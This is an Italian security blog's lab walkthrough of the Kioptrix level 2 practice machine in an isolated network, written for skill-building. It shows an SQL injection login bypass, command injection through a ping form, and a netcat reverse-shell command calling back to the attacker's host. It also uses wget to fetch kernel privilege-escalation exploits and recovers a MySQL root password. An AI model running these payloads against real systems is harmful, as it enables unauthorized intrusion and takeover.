Paolo Perego
Paolo Perego Specialista di sicurezza applicativa e certificato OSCE e OSCP, amo spaccare e ricostruire il codice in maniera sicura. Sono cintura nera di taekwon-do, marito e papà. Ranger Caotico Neutrale, scrivo su @codiceinsicuro.

Getting Root: Kioptrix livello 2

Getting Root: Kioptrix livello 2 Photo by on Unsplash
1000 parole - Lo leggerai in 5 minuti

Il secondo livello di Kioptrix non presenta particolari difficoltà. Fa parte di quelle macchine che sto usando per ricostruire l’autostima in vista della prossima OSCP.

Kioptrix Livello 2

Continuiamo la serie Kioptrix ed arriviamo al livello 2 disponibile qui.

Anche questa macchina virtuale è un box Linux su cui è montata una distribuzione CentOS obsoleta.

Setup dell’ambiente

Per iniziare, ho scaricato la versione corretta della macchina virtuale. La prima versione aveva infatti un bug nella web application. Ho lasciato configurato VirtualBox affinché esegua la mia Kali Linux e la macchina target in una rete ad hoc, isolata dal mondo esterno.

Questo si ottiene andando sulle preferenze di Virtual Box, selezionando Network ed il tab Host-only networks.

Impostazioni Virtual Box

Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56 possiamo partire.

La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso. La macchina 192.168.56.103 è il nostro target.

La nostra vittima all'avvio

Recon

Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina, per cercare di capire qualcosa in più.

# nmap -sV -O 192.168.56.103 -oA 192.168.56.103
# Nmap 7.50 scan initiated Mon Sep 11 17:28:58 2017 as: nmap -sV -O -oA 192.168.56.103 192.168.56.103
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00024s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:87:1E:A6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 11 17:29:14 2017 -- 1 IP address (1 host up) scanned in 16.05 seconds

E’ stato lanciato anche un dirb, che però non ha trovato cose interessanti.

Takeover narrative

Cercando con searchexploit, qualche exploit già pronto per le versioni rilevate abbiamo che per CUPS c’è qualcosa che possa darmi una shell, mentre per Apache solamente un DoS.

Navigando sulla porta 80, ci viene presentato una maschera di login di uno pseudo portale amministrativo.

Login

La pagina di login era facilmente bypassabile usando la combinazione di credenziali admin:foo or ‘1’=’1.

Login page bypassed

Una volta autenticati, ci viene presentata una maschera che ci permette di eseguire un ping su un indirizzo ip passato come parametro. Questo genere di funzionalità si presta spesso a problematiche di command injection, quando l’input non è validato correttamente.

Infatti, usando il carattere ‘;’ come separatore, siamo in grado di far eseguire il comando id.

Command injection

Una shell non privilegiata sulla macchina fa sempre comodo come primo risultato, che ne pensate?

Bene, su una finestra di terminale, ho lanciato netcat in ascolto sulla porta 443 e poi ho cercato di fare una callback alla mia macchina.

$ nc -lvnp 443

Perché uso la 443? Preferisco usare porte di servizi conosciuti, per evitare problemi con eventuali firewall. Servizi come 21, 53, 80, 443 in uscita da un indirizzo IP, possono essere dei buoni candidati.

Dopo un po’ di tentativi di indovinare il path di netcat, sulla macchina target, sono riuscito ad ottenere la mia shell col comando 192.168.56.101; /usr/local/bin/nc 192.168.56.101 443 -e /bin/sh

Reverse shell

Da dentro, il primo obiettivo è capire bene di quale distribuzione si sta parlando e soprattutto quale la versione del kernel. Questo ci permette in seguito di cercare l’exploit migliore per elevare i privilegi della nostra shell.

CentOS disclosure

$ uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

$ lsb_release -a
LSB Version:	:core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID:	CentOS
Description:	CentOS release 4.5 (Final)
Release:	4.5
Codename:	Final

Cerco quindi exploit per CentOS 4.5 e sono abbastanza fortunato. CentOS exploit

Visto che le macchine, per come è stato creato il mini laboratorio, non escono su Internet direttamente, carico gli exploit nella mia /var/www/html e usando wget li prelevo dal target.

Provo prima l’exploit per il CVE-2009-2698 ma, una volta caricato fallisce. Niente shell di root al primo tentativo.

CVE-2009-2698 failed

Provo quindi con l’exploit per il CVE-2009-2692 e questa volta, dopo aver compilato e lanciato l’exploit ho più fortuna: sono root.

CVE-2009-2692 succeded

Ho cercato un po’ in lungo ed in largo la flag di questa macchina ma non l’ho trovata. Probabilmente l’autore non l’ha messa.

Spinoff

Andando a vedere il codice sorgente di /var/www/html/index.php è possibile ottenere la password di MySQL dell’utente john.

index.php info disclosure

MySQL connected as john

E connettersi con successo al database MySQL.

MySQL connected as john

Andando più a fondo è stato possibile trovare le hash delle password degli utenti del piccolo portale.

Application hashes

Ed infine è stato possibile risalire alla password di root su MySQL che è hiroshima.

MySQL pwd disclosure

Off by one

Anche questo livello 2 di Kioptrix non ha presentato grosse difficoltà. Resta il punto aperto del perché l’exploit per il CVE-2009-2698 non abbia funzionato, ma non ho investigato nel dettaglio, visto lo scopo di queste esercitazioni.

Il livello 3 di Kioptrix mi aspetta.

Enjoy it!

Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.

Supporta il progetto

comments powered by Disqus
Codice Insicuro, blog di Cyber Security, sviluppo sicuro, code review e altro.   Non perdere neanche un post, iscriviti ora alla mailing list